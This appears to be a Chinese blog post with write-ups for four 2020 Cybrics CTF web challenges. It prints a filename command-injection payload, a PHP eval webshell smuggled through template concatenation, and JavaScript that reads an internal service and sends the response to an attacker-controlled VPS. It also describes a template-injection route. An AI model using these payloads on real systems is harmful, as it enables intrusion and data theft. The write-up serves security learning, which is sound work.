sky's blog

2020 Cybrics CTF Web Writeup

字数统计: 1,923阅读时长: 9 min
2020/07/25 Share

前言

周末打了俄罗斯知名战队LCBC举办的2020 Cybrics CTF,以下是Web题题解。

Hunt

锁定到会飘的验证码代码上,将其飘来飘去的代码去除:

然后手动调用5次固定不动的验证码:

此时验证码不动,点5次就可以去Get Flag了:

获得flag:

Gif2png

题目给了源码,于是进行审计,关键代码如下:

1
2
3
file = request.files['file']
logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)

我们发现file.filename会被拼进 subprocess.Popen,从而导致可能存在命令注入,于是查看file.filename相关的过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if not allowed_file(file.filename):
logging.debug(f'Invalid file extension of file: {file.filename}')
flash('Invalid file extension', 'danger')
return redirect(request.url)

if file.content_type != "image/gif":
logging.debug(f'Invalid Content type: {file.content_type}')
flash('Content type is not "image/gif"', 'danger')
return redirect(request.url)

if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)

发现一共有3个限制,第一个是需要.gif后缀结尾,第二个是需要content-type为image/gif,而第三个则是绕过正则:

1
^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$

对于该正则,发现可用管道符可用,于是想到可用||进行绕过:

1
pic.gif' || xxxxxx || '123.gif

这里首先尝试反弹shell,但是发现好像比较困难,我弹了几次没成功,于是改为将结果写入文件:

1
ls ../../../ > uploads/ed3471ad-8cba-4d2a-8dde-b512e53b6648/123.png

操作如下:

然后去访问写入文件即可:

我们直接cat main.py,因为flag写在文件内:

1
cat main.py > uploads/ed3471ad-8cba-4d2a-8dde-b512e53b6648/123.png


于是可以获取flag。

WoC

又是一道源码审计题目,首先看一下功能:

1
2
3
4
5
6
7
8
9
$pages = [
"" => "main.php",
"login" => "login.php",
"logout" => "logout.php",
"inside" => "inside.php",
"newtemplate" => "newtemplate.php",
"calc" => "calc.php",
"sharelink" => "sharelink.php",
];

题目核心功能不多,大概分为登录,添加模板,分享链接,计算器。
这里逐个审计,发现newtemplate和sharelink存在文件写入操作,可以控制。
首先是newtemplate:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if (trim(@$_POST['html'])) {
do {
$html = trim($_POST['html']);
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}

$requiredBlocks = [
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
];

foreach ($requiredBlocks as $block) {
if (strpos($html, $block) === false) {
$error = "Missing required block: '$block'";
break(2);
}
}

$uuid = uuid();
if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
$error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
break;
}

redir(".");
} while (false);
}

发现我们可以写入任意字符,但是不能使用<?,那么我们不能简单写入shell。
继续审计,来到calc.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if (trim(@$_POST['field'])) {
$field = trim($_POST['field']);

if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
} else {
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
} else {
try {
$value = eval("return $field;");
} catch (Throwable $e) {
$value = null;
}

if (!is_numeric($value) && !is_string($value)) {
$value = "ERROR";
} else {
$value = (string)$value;
}
}
}

echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}

发现关键代码:

1
2
3
4
5
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
}

此处我们发现写入内容由3段拼接而成:

1
2
3
<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n
file_get_contents("inc/calclib.html")
file_get_contents("calcs/$userid/templates/$template.html")

第3段文件内容我们完全可控,而第一段则为我们提供<?=,于是这里可以想到:

1
$field='/*'

如此一来,我们再将$template.html的内容与其拼接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*/1));@eval($_POST['a']);?>'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',

这样我们即可构造出一个php文件内容大致如下:

1
<?=json_encode((string)(/* xxxxxx */1)); @eval($_POST['a']);?>

即可执行任意php代码。
操作如下:

此时将生成的模板进行应用:

1
http://109.233.57.94:40389/?p=calc&template=f95dbec6-730f-4a60-f318-fbdedb6115d4

我们利用share功能写入field:

根据sharelink获取拼接后的php文件名:

蚁剑连接,即可获取shell,得到flag:

Developer’s Laptop

访问题目,给了一个发送请求的页面:

这里看了下headers,发现存在Vary,同时考虑到题目使用了cdn:

本想尝试缓存欺骗,去获取一下origin的值:

此时发现了一个子域名:

1
prod.free-design-feedback-cybrics2020.ctf.su

然后访问来到如下页面:

这里一通测试,发现题目没有任何反应,同时能看见别人的notes:

测试了N久无果,于是想会不会考察其他内容,首先尝试看外层请求link的功能,能不能加载外部js,于是在自己服务器上放html,内容如下:

1
2
3
<script>
window.location='http://ip:port'
</script>

发现跳转成功,于是发现可以执行任意js代码,尝试打cookie,但是发现并没有结果,于是想到利用js扫一下内网端口,并发现5000端口开放,利用如下js,带出5000端口页面内容:

1
2
3
4
5
6
7
8
9
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
document.location='http://vps_ip:23334/?'+btoa(xmlhttp.responseText);
}
xmlhttp.open("GET","http://127.0.0.1:5000",true);
xmlhttp.send();
</script>

得到回显:

解码后得到页面内容:

发现内网127.0.0.1:5000也开了一个note相关的功能,同时是version 1.0而非version 0.9,并且题目提示可以访问:

1
<a href="/notes?name=Ann Cobb">Show all notes</a>

尝试更改js去请求该页面:

1
2
3
4
5
6
7
8
9
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
document.location='http://vps_ip:23334/?'+btoa(xmlhttp.responseText);
}
xmlhttp.open("GET","http://127.0.0.1:5000/notes?name=Ann Cobb",true);
xmlhttp.send();
</script>

但发现返回的结果都是500,此时心态崩了,尝试利用post创建新的notes:

1
2
3
4
5
6
<form method="POST" id="check_form" enctype="multipart/form-data" action="/">
URL: <input type=text name=url class="form-control">
Score: <input type=text name=score class="form-control">
Feedback: <textarea placeholder="Dear, {{ customer }}. Thank you for choosing our service." name="feedback" class="form-control"></textarea>
<input type="submit" value="Save" class="form-control btn btn-primary">
</form>

但发现依旧访问500……,脑洞猜想,访问/notes?name=xxx会出现500是因为用户名不存在,是否可以创建notes的时候,多一个参数name,如此指定用户名,再进行访问,同时这里看到feedback里有:

1
{{ customer }}

应该不难想到,可以利用ssti获取flag。
读取到文件后,才发现该题确实是坑人= =:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def index():
name = request.args.get("name", fake.name())
if request.method == "POST":
name = request.form.get("name", name)
url = request.form.get("url", None)
score = request.form.get("score", None)
feedback = request.form.get("feedback", None)
if url is not None and score is not None and feedback is not None:
(Path("notes") / name).mkdir(parents=True, exist_ok=True)
with (Path("notes") / name / f"{hashlib.sha256(url.encode()).hexdigest()}.json").open("w") as w:
w.write(json.dumps({
"url": url, "score": score, "feedback": feedback, "name": name
}))
flash("Saved")

return render_template("index.html", name=name)


@app.route("/notes")
def notes():
name = request.args.get("name", None)
if name is None:
return redirect("/")

files = [f for f in listdir(str(Path("notes") / name)) if isfile(str(Path("notes") / name / f)) and ".json" in f]
notes = [json.load((Path("notes") / name / f).open()) for f in files]
for note in notes:
note["feedback"] = Template(note["feedback"]).render(customer=note['url'])

return render_template("notes.html", notes=enumerate(notes))

在源码里可以获取flag:

1
flag = b'cybrics{imagine_how_dangerous_is_that_every_site_can_hack_you_legally}'

后记

这次Cybrics CTF Web做的有点难受,感觉有点misc和脑洞了,不是非常有趣( .

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. Hunt
  3. 3. Gif2png
  4. 4. WoC
  5. 5. Developer’s Laptop
  6. 6. 后记